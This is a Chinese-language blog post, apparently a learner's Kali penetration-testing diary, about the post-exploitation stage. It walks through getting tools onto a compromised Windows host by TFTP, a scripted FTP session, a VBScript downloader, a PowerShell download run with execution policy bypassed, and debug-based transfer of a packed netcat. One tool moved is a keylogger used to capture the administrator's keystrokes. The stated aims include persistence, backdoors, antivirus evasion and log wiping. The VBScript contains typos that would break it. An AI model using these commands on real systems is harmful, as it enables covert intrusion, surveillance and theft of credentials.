小白日记20:kali渗透测试之后渗透测试阶段(一)--上传工具
后滲透測試階段--上傳工具
為防止管理員將漏洞補上后,我們無法再通過該漏洞控制對方主機,所以需要進行后滲透測試階段
1、上傳各種工具
2、提權(quán):為了全面控制目標系統(tǒng)
3、擦除攻擊痕跡:防止管理員通過日志溯源追蹤,發(fā)現(xiàn)攻擊源頭【除了系統(tǒng)日記,應(yīng)用程序也會有自己的日志信息】
##刪除系統(tǒng)日記和應(yīng)用程序日記
例如:SLmail中
4、安裝后門程序
實現(xiàn)長期控制,Dump密碼,作為跳板進行內(nèi)網(wǎng)滲透【大部分情況下,比公網(wǎng)滲透簡單】
注:后滲透利用階段
最大的挑戰(zhàn):防病毒軟件【根據(jù)病毒特征庫進行查殺】。所以我們需要使用合法的遠程控制軟件(NC)【盡量做到免殺,但也有可能在防病毒軟件更新特征庫后,被檢測出來】
上傳工具
目的:持久控制,擴大對目標系統(tǒng)的控制能力
Linux系統(tǒng)
linux系統(tǒng)下實現(xiàn)上傳工具比較容易,因為其默認安裝netcat、curl、wget,即使沒有安裝netcat,也可以輕易地使用curl和wget去黑客共享的服務(wù)器下載安裝木馬、netcat等【curl和wget一定會在linux系統(tǒng)下默認安裝】
Windows系統(tǒng)
相對來說,windows系統(tǒng)下缺少預(yù)裝工具,難以進行木馬等工具的下載
getshell后,windows系統(tǒng)下載木門工具實例
http://www.freebuf.com/articles/network/100788.html
根據(jù)小白日記17,getshell【此為類NC遠程控制shell,是一種非交互型的shell(即該命令行窗口下必須輸入完整的命令,無法tab鍵補全)】
交互型shell與非交互型shell區(qū)別:http://kuku789123.blog.163.com/blog/static/1361673512012101513628599/
在windows系統(tǒng)下安裝ftp軟件,體驗非交互型shell的壞處,添加/刪除組件中【appwiz.cpl】【需插入光盤】
因此我們必須上傳一些能提供交互型的木馬程序【灰鴿子等】
1、使用TFTP傳輸文件【構(gòu)造一個TFTP服務(wù)器,在服務(wù)器中放置工具木馬等,再通過被控端連接下載】
XP、2003中默認安裝,Win7、2008以后的系統(tǒng)需要單獨添加,但經(jīng)常被邊界防火墻過濾。主流為FTP,是因為基于UDP協(xié)議,明文傳輸,不支持身份驗證
利用kali
mkdir /tftp ? #創(chuàng)建tftp目錄
chown -R nobody 設(shè)置權(quán)限所有者為nobody【無本地登錄權(quán)限】
cp /usr/share/windows-binaries/whoami.exe /tftp/ ? ? ? #windows下查看當(dāng)前用戶
cp /usr/share/windows-binaries/klogger.exe /tftp/ ? ? ? #拷貝鍵盤記錄器
atftpd --daemon --port 69 /tftp/ ? ? ? ? ? ? ?#daemon,用后臺方式啟動,主目錄指向tftp
由于權(quán)限問題,會出現(xiàn)以下這個常見問題【啟動進程不是tftp】
需kill 543這個進程,使用chown -R nobody /tftp/ ? 【將所有者改成nobody】
重啟服務(wù)
進到shell窗口,查看tftp
進行tftp文件傳輸
tasklist ?#查看進程
鍵盤記錄器會記錄管理員的輸入,再同目錄下會生成記錄鍵盤輸入的文本文件
type klogger
2、使用FTP傳輸
先在kali上apt-get install pure-ftpd
使用腳本配置【切記:設(shè)置的密碼,下面echo會用到】
#!/bin/bash groupadd ftpgroup useradd -g ftpgroup -d /dev/null -s /etc ftpuser pure-pw useradd yuanfh -u ftpuser -d /ftphome pure-pw mkdb cd /etc/pure-ftpd/auth/ ln -s ../conf/PureDB 60pdb mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ #創(chuàng)建的ftp主目錄 /etc/init.d/pure-ftpd restart 驗證ftp
因為非交互系統(tǒng)中,ftp傳輸,在password命令處無法顯示,所以需要通過轉(zhuǎn)換思路進行下載
思路:【將要實現(xiàn)的命令寫到目標服務(wù)器的文本文件中,用ftp讀取文本文件的命令進行下載】C:\>echo open 192.168.1.127 21>ftp.txt echo open 192.168.1.127 21>ftp.txtC:\>echo yuanfh>>ftp.txt echo yuanfh>>ftp.txtC:\>echo password>>ftp.txt echo password>>ftp.txtC:\>echo bin>>ftp.txt echo bin>>ftp.txtC:\>echo GET whoami.exe >> ftp.txt echo GET whoami.exe >> ftp.txtC:\>echo GET klogger.exe >> ftp.txt echo GET klogger.exe >> ftp.txtC:\>echo bye >> ftp.txt echo bye >> ftp.txt ##先將whoami,klogger等程序拷貝到ftphome目錄【cp /tftp/* /ftphome/】
ftp -s:ftp.txt
3、使用VBSCRIRT傳輸文件
#VBS是windows系統(tǒng)上默認的解釋型腳本語言,在win7后增加了perl
##通過web程序,http協(xié)議下載遠程控制程序,需在kali啟動apache2
root@kali:~# service apache2 start root@kali:~# netstat -pantu | grep :80 tcp6 0 0 :::80 :::* LISTEN 4433/apache2
進入apache2默認目錄,拷貝文件
root@kali:~# cd /var/www/html root@kali:/var/www/html# cp /ftphome/* . root@kali:/var/www/html# ls index.html klogger.exe whoami.exe root@kali:/var/www/html# 粘貼以下命令到shell窗口
echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXSEITTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXSEITTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXSEITTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXSEITTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData,strBuffer,lngCounter,fs,ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Noting Then Set http = CreateObjiect("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Noting Then Set http = CreateObjiect("WinHttp.MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Noting Then Set http = CreateObjiect("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET",strURL,False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Noting >> wget.vbs echo Set fs = CreateObject("Scrippting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Miidb(varByteArray,lngCounter + 1,1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs cscript wget.vbs http://192.168.1.127/whoami.exe w.exe ?
【windows系統(tǒng)自帶的cscipt命令去下載whoami.exe 命名成w.exe,傳輸完成后,需重啟一下目標系統(tǒng)】
4、使用POWERSHELL傳輸文件 ?【到目標服務(wù)器下載程序】
##需在windows系統(tǒng)下運行
$strongeDir = $pwd $webclient = New-Object System.Net.WebClient $url = "http://192.168.1.127/whoami.exe" $file = "new-exsploit.exe" $webclient DownloadFile($url,$file)
powershell.exe -ExecutionPolicy Bypass ?-NoLogo -Nonlnteractive -Noprofile -File wget.ps1
5、使用DEBUG傳輸文件
Debug是一種匯編、反匯編的16進制dump工具,作為文件傳輸,默認情況下只能傳輸64k字節(jié)的數(shù)據(jù)
一、使用upx壓縮文件進行壓縮再進行傳輸
cp /usr/share/windows-binaries/nc.exe . ? #拷貝nc到根目錄
root@kali:~# upx -9 nc.exe #-9:最高程度壓縮Ultimate Packer for eXecutablesCopyright (C) 1996 - 2013 UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013File size Ratio Format Name-------------------- ------ ----------- -----------59392 -> 29184 49.14% win32/pe nc.exe Packed 1 file. 二、將exe程序轉(zhuǎn)化成16進制文本格式
wine /usr/share/windows-binaries/exe2bat.exe nc.exe nc.txt
將文本文件中的16進制代碼(除倒數(shù)兩行外)全部復(fù)制到shell窗口中
debug<123.hex ? ? ?#生成1.dll
copy 1.dlll nc.exe ? ??
總結(jié)
以上是生活随笔為你收集整理的小白日记20:kali渗透测试之后渗透测试阶段(一)--上传工具的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 长图预警,全网最全的23个免费无背景PN
- 下一篇: 刷机-3.71M33升级到3.71M33